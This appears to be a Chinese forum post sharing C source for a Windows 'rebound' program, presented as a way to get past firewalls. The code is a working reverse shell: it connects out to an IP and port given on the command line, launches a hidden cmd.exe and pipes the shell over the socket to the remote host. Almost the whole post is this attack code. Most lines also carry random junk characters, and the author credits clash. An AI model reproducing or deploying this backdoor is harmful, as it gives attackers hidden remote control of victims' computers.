这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 1]r+$L3
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/* ============================== hia_CuY#
Rebound port in Windows NT ]*+ozAG4
By wind,2006/7 9k_3=KS3N
===============================*/ 8phcekh+
#include OiAi{ 71
#include yi3@-
WY%LeC!t
#pragma comment(lib,"wsock32.lib") T!o 4k
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void OutputShell(); Qci<cVgP
SOCKET sClient; Fkas*79
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {9KG06%+
2 @g'3M
void main(int argc,char **argv) yKEE @@}\
{ Au'[|Prr
WSADATA stWsaData; u]P0:)tS.
int nRet; %p?u
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SOCKADDR_IN stSaiClient,stSaiServer; Ml8 '=KN_
H".~@,-}
if(argc != 3) E)%]?/w
{ 3`4g*wO
printf("Useage:\n\rRebound DestIP DestPort\n"); 95giqQ(N
return; }pKHa'/\
} k3se<NL[
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WSAStartup(MAKEWORD(2,2),&stWsaData); FA\gz?h
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Y;>0)eP
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stSaiClient.sin_family = AF_INET; +O:Qw[BL/Z
stSaiClient.sin_port = htons(0); 0Ha1pqR
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); VA_\Z
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Nzz" w_#
{ ymybj
printf("Bind Socket Failed!\n"); u D_|/ (
return; E]6C1C&K
} *""'v
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stSaiServer.sin_family = AF_INET; >:5/V0;,
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $xmltvaF
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); kc `Q-
N}
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) J\XYUs
{ P5Ms
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printf("Connect Error!"); hRSRz5 J}
return; `p9h$d
} 3]0ETcT
OutputShell(); yL&F!+(/Ix
} 9>d$a2nc
% w 6fB
void OutputShell() )El#Ks5u
{ I(ds]E
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char szBuff[1024]; @rkNx@[~
SECURITY_ATTRIBUTES stSecurityAttributes; 30g-J(Zg
OSVERSIONINFO stOsversionInfo; ge?1ez2
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; `TKe+oS)
STARTUPINFO stStartupInfo; draY/
char *szShell; azz6_qk8
PROCESS_INFORMATION stProcessInformation; JC}y{R8
unsigned long lBytesRead; D_`MeqF}C
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); >F6'^9|
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $/nU0W
stSecurityAttributes.lpSecurityDescriptor = 0; +j&4[;8P:
stSecurityAttributes.bInheritHandle = TRUE; zS 18Kl
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5E?{>1
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); QRhR.:M\
$S|bD$e
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~\<Fq \.x
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `gfh]7T
stStartupInfo.wShowWindow = SW_HIDE; $fV47;U'*
stStartupInfo.hStdInput = hReadPipe; i[H`u,%+(
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; f{AbCi
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GetVersionEx(&stOsversionInfo); pJ"Wg@+
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switch(stOsversionInfo.dwPlatformId) fmY=SqQG-
{ ]re1$W#*
case 1: 5;oWFl
szShell = "command.com"; w4<1*u@${
break; rePJ4i [y
default: (eS4$$g
szShell = "cmd.exe"; p)RASIB
break; nAG2!2_8
} ?<bByxa
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h
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); f1y3l1/
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send(sClient,szMsg,77,0); 2Kovvh y#
while(1) W~2`o*\l
{ ZH;VEX
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); A}?n.MAX>
if(lBytesRead) [Nbs{f^J=
{ 2'Cwx-_G`
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <V0]~3
send(sClient,szBuff,lBytesRead,0); XdjM/hB{fD
} b(+M/O>I
else Z5/^pyc
{ 9`VgD<?v
lBytesRead=recv(sClient,szBuff,1024,0); ~VYZu=p
if(lBytesRead<=0) break; @?lmho?
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); uOUgU$%zqH
} 3cfW|J
} ?-%Q[W
I },.U&r
return; N^z4I,GV(
}